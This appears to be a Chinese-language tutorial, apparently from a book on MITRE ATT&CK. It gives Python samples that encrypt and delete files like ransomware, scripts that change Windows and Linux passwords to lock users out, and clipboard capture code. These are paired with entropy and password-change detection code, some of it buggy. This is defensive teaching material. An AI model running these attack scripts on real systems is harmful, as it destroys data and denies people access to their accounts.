資料加密和帳戶存取移除是惡意軟體常用的攻擊手段,會造成資料無法存取和系統中斷等嚴重後果。偵測資料加密惡意軟體,可以透過計算檔案熵值來識別異常加密行為。攻擊者可以透過刪除帳戶或變更密碼來移除使用者存取權,影響系統正常運作。理解這些攻擊手法和防禦策略,有助於提升系統安全性,降低潛在風險。
資料加密對系統的影響與偵測方法
在探討惡意軟體對系統的影響時,資料加密是一個重要的議題。資料加密惡意軟體,如勒索軟體和破壞性軟體(wipers),透過加密檔案使資料無法存取,從而達到其惡意目的。這類別惡意軟體的特徵包括大規模的檔案存取和加密行為,這些行為可以被用來偵測其存在。
檔案加密的實作
以下是一個 Python 程式碼範例,展示瞭如何實作檔案加密:
def encryptFile(path):
with open(str(path), "rb") as f:
data = f.read()
with open(str(path) + ".encrypted", "wb") as f:
f.write(encrypt(data))
os.remove(str(path))
def decryptFile(filename):
with open(filename + ".encrypted", "rb") as f:
data = f.read()
with open(filename, "wb") as f:
f.write(decrypt(data))
os.remove(filename + ".encrypted")
內容解密:
此程式碼定義了兩個函式:encryptFile 和 decryptFile。encryptFile 函式開啟一個檔案,將其內容讀入記憶體,加密後寫入一個新檔案,並刪除原始檔案。decryptFile 函式則執行相反的操作,將加密檔案解密並還原原始檔案。
檔案熵值的計算與偵測
為了偵測資料加密惡意軟體,可以計算檔案的熵值。熵值是衡量資料隨機程度的一個指標,加密資料通常具有較高的熵值。以下是一個計算檔案熵值的 Python 程式碼範例:
from pandas import Series
from scipy.stats import entropy
from pathlib import Path
def calcEntropy(data):
s = Series(data)
counts = s.value_counts()
return entropy(counts)
def calcFileEntropy(filename):
with open(filename, "rb") as f:
b = list(f.read())
fileLen = len(b)
e = calcEntropy(b)
return e
def getFiles(directory, ext):
paths = list(Path(directory).rglob("*" + ext + "*"))
return paths
threshold = 0
def checkFiles(directory, ext):
files = getFiles(directory, ext)
for f in files:
entropy = calcFileEntropy(f)
if entropy > threshold:
print("%s is potentially encrypted (entropy %f)" % (f, entropy))
內容解密:
此程式碼定義了幾個函式來計算檔案的熵值。calcEntropy 函式計算給定資料的熵值,calcFileEntropy 函式將檔案內容轉換為位元組串列並計算其熵值。checkFiles 函式遍歷指定目錄下的檔案,計算其熵值,若熵值超過閾值,則輸出該檔案可能被加密的警告。
帳戶存取移除:攻擊者如何影響系統存取權
在Windows和Linux作業系統中,帳戶存取移除是一種能夠對個人或企業造成重大影響的攻擊手段。攻擊者可以透過刪除帳戶、變更密碼等方式,移除使用者對帳戶的存取權。
移除帳戶存取權的方式
攻擊者有多種方式可以移除使用者對帳戶的存取權,包括:
- 刪除帳戶及其相關檔案和程式
- 變更帳戶密碼
變更帳戶密碼是一種相對簡單且快速的方式,可以達到與刪除帳戶相同的效果,但仍保留了還原的可能性。
AccountAccessRemoval.py 程式碼分析
以下是一個用於移除帳戶存取權的Python指令碼範例:
import os, platform
def setWindowsPassword(username, password):
from win32com import adsi
ads_obj = adsi.ADsGetObject("WinNT://localhost/%s,user" % username)
ads_obj.Getinfo()
ads_obj.SetPassword(password)
def setLinuxPassword(username, password):
os.system('echo %s:%s | chpasswd' % (username, password))
def changeCriteria(username):
if username in ["testuser", "user1"]:
return True
else:
return False
if platform.system() == "Windows":
import wmi
w = wmi.WMI()
for user in w.Win32_UserAccount():
username = user.Name
if changeCriteria(username):
print("Changing password: %s" % username)
setWindowsPassword(username, "newpass")
else:
import pwd
for p in pwd.getpwall():
if p.pw_uid == 0 or p.pw_uid > 1000:
username = p.pw_name
if changeCriteria(username):
print("Changing password: %s" % username)
setLinuxPassword(username, "newpass")
程式碼解密:
setWindowsPassword和setLinuxPassword函式:這兩個函式分別用於在Windows和Linux系統上變更指定使用者的密碼。在Windows上,它使用win32com.adsi模組來與Active Directory Service Interfaces(ADSI)互動,而在Linux上,則是使用os.system呼叫chpasswd指令來變更密碼。changeCriteria函式:這個函式決定哪些使用者帳戶的密碼需要被變更。在這個範例中,它檢查使用者名稱是否為testuser或user1。- 主程式邏輯:指令碼首先檢查目前的作業系統。如果是Windows,它使用WMI(Windows Management Instrumentation)來列舉所有使用者帳戶,並對符合
changeCriteria的使用者變更密碼。如果是Linux,它使用pwd模組來列舉所有使用者帳戶,並同樣對符合條件的使用者變更密碼。
執行程式碼
要執行這個指令碼,需要在Windows上使用管理員許可權的命令提示字元,或者在Linux上使用超級使用者許可權。執行後,如果系統上有名為testuser的使用者帳戶,其密碼將被變更。
風險與影響
這個指令碼展示了攻擊者如何輕易地變更使用者密碼,從而移除使用者對其帳戶的存取權。這種攻擊可能對個人或企業造成重大影響,包括資料無法存取、業務流程中斷等。
實作攻擊影響:密碼變更與偵測
本章節主要探討如何利用Python程式碼實作MITRE ATT&CK框架中的Impact策略,重點關注如何中斷或破壞目標系統。文中首先介紹了透過資料加密來造成系統中斷的攻擊方式,接著討論瞭如何透過更改密碼來拒絕使用者對帳戶的存取,並提供了相應的攻擊與防禦程式碼範例。
密碼變更攻擊實作
在Windows和Linux系統中,具有管理員許可權的帳戶可以更改其他帳戶的密碼。這種行為可能被惡意軟體利用,以拒絕使用者對其帳戶的存取,甚至在系統啟動保護和磁碟加密啟用時,永久拒絕使用者存取其檔案。
AccountAccessRemoval.py 程式碼解析
# 此程式碼範例展示如何更改使用者密碼
import subprocess
import platform
def change_password(username):
if platform.system() == "Windows":
# Windows系統中使用net user命令更改密碼
subprocess.run(f"net user {username} newpassword", shell=True, check=True)
else:
# Linux系統中使用passwd命令更改密碼
subprocess.run(f"echo 'newpassword\nnewpassword' | passwd {username}", shell=True, check=True)
# 假設要更改的使用者名稱為testuser
change_password("testuser")
內容解密:
- 跨平台相容性:程式碼首先檢查作業系統型別,以決定使用合適的命令來更改使用者密碼。
subprocess.run()函式:用於執行系統命令。在Windows中,使用net user命令;在Linux中,使用passwd命令。- 密碼變更邏輯:在Linux中,透過管道傳遞新密碼給
passwd命令,以避免互動式輸入密碼。
偵測密碼變更
為了偵測密碼變更行為,文中提供了DetectPasswordChange.py程式碼範例,分別針對Windows和Linux系統進行偵測。
DetectPasswordChange.py 程式碼解析
import datetime
import platform
import subprocess
# Windows系統中使用win32evtlog模組讀取事件日誌
def checkWindowsPasswordChange():
import win32evtlog
events = QueryEventLog(4724) # 事件ID 4724代表密碼變更事件
for event in events:
changed = event.StringInserts[0]
changer = event.StringInserts[4]
time = event.TimeGenerated
print(f"Password of {changed} changed by {changer} at {time}")
# Linux系統中檢查密碼變更日期
def checkLinuxPasswordChange():
import pwd
threshold = datetime.datetime(2021, 1, 1)
for p in pwd.getpwall():
user = p[0]
results = subprocess.check_output(["passwd", user, "-S"]).decode("utf-8")
date_str = results.split(" ")[2]
date = datetime.datetime.strptime(date_str, "%m/%d/%Y")
if date >= threshold:
print(f"Password of {user} changed on {date_str}")
if platform.system() == "Windows":
checkWindowsPasswordChange()
else:
checkLinuxPasswordChange()
內容解密:
QueryEventLog()函式:用於查詢Windows事件日誌,事件ID 4724對應密碼變更事件。checkWindowsPasswordChange()函式:提取事件日誌中的資訊,包括被變更密碼的使用者、變更密碼的使用者以及變更時間。checkLinuxPasswordChange()函式:遍歷所有使用者帳戶,使用passwd -S命令檢查密碼最後變更日期,並與設定的閾值比較。
深入解析MITRE ATT&CK戰術與技術
前言
本文將探討MITRE ATT&CK框架中的多種戰術與技術,包括Collection、Command and Control、Credential Access、Defense Evasion和Discovery等。透過詳細分析相關技術的實作方法與防禦策略,讀者將能夠更全面地瞭解攻擊者的行為模式,並提升自身的安全防禦能力。
Collection戰術解析
剪貼簿資料技術(Clipboard Data)
剪貼簿資料技術是一種常見的資料收集方法,攻擊者可以透過監控剪貼簿內容來取得敏感資訊。
實作細節
import ctypes
# 開啟剪貼簿
ctypes.windll.user32.OpenClipboard(0)
# 取得剪貼簿資料
data = ctypes.windll.user32.GetClipboardData(1)
# 關閉剪貼簿
ctypes.windll.user32.CloseClipboard()
防禦策略
- 監控剪貼簿變更:實時監控剪貼簿內容的變化。
- 限制敏感資料複製:在敏感資料處理區域限制複製功能。
- 使用剪貼簿保護工具:採用專業的剪貼簿監控與保護工具。
電子郵件收集技術(Email Collection)
攻擊者可能透過搜尋本地郵件客戶端或郵件伺服器來收集敏感資訊。
實作方法
- 搜尋本地郵件客戶端的資料函式庫。
- 分析郵件內容與附件。
防禦措施
- 加密郵件內容:使用端對端加密保護郵件內容。
- 限制郵件客戶端許可權:確保郵件客戶端執行在最低必要許可權下。
- 定期稽核郵件系統:檢查是否有異常的郵件處理行為。
Command and Control戰術分析
加密通道技術(Encrypted Channel)
攻擊者使用加密通道來隱藏其命令與控制(C2)通訊。
技術實作
- 建立加密連線:使用TLS/SSL等協定建立加密通道。
- 資料加密傳輸:確保所有透過C2通道的資料都是加密的。
檢測方法
- 監控異常加密流量:檢測不尋常的加密通訊模式。
- 分析證書使用情況:檢查使用的SSL/TLS證書是否可疑。
協定隧道技術(Protocol Tunneling)
攻擊者可能利用合法協定(如DNS、HTTP)來建立C2通道。
檢測與防禦
- 監控異常協定使用:檢測非標準的協定使用模式。
- 實施嚴格的協定過濾:限制不必要的協定出站存取。
Credential Access戰術探討
從密碼儲存中取得憑證(Credentials from Password Stores)
攻擊者可能從瀏覽器或系統密碼儲存中提取憑證。
防禦策略
- 使用主密碼保護:為瀏覽器設定主密碼。
- 定期檢查密碼儲存:監控密碼儲存的安全狀態。
- 使用安全儲存解決方案:採用硬體安全模組(HSM)等安全儲存方案。
Defense Evasion戰術分析
隱藏工件技術(Hide Artifacts)
攻擊者可能使用替用資料流(ADS)等技術隱藏惡意檔案。
檢測方法
- 使用專業工具檢測ADS:定期掃描系統中的ADS。
- 監控檔案系統變化:實時監控檔案系統的異常變化。
削弱防禦技術(Impair Defenses)
攻擊者可能嘗試停用安全軟體或修改安全設定。
防禦措施
- 實施多層防禦:使用多種安全控制措施。
- 監控安全軟體狀態:實時監控安全軟體的工作狀態。
Discovery戰術解析
賬戶發現技術(Account Discovery)
攻擊者可能列舉系統或域中的使用者賬戶。
檢測方法
- 監控賬戶列舉行為:檢測異常的賬戶列舉活動。
- 稽核賬戶活動:定期審查賬戶登入與操作日誌。
檔案和目錄發現技術(File and Directory Discovery)
攻擊者可能搜尋敏感檔案和目錄。
防禦策略
- 實施嚴格的存取控制:限制對敏感檔案和目錄的存取。
- 監控檔案系統存取:檢測異常的檔案存取模式。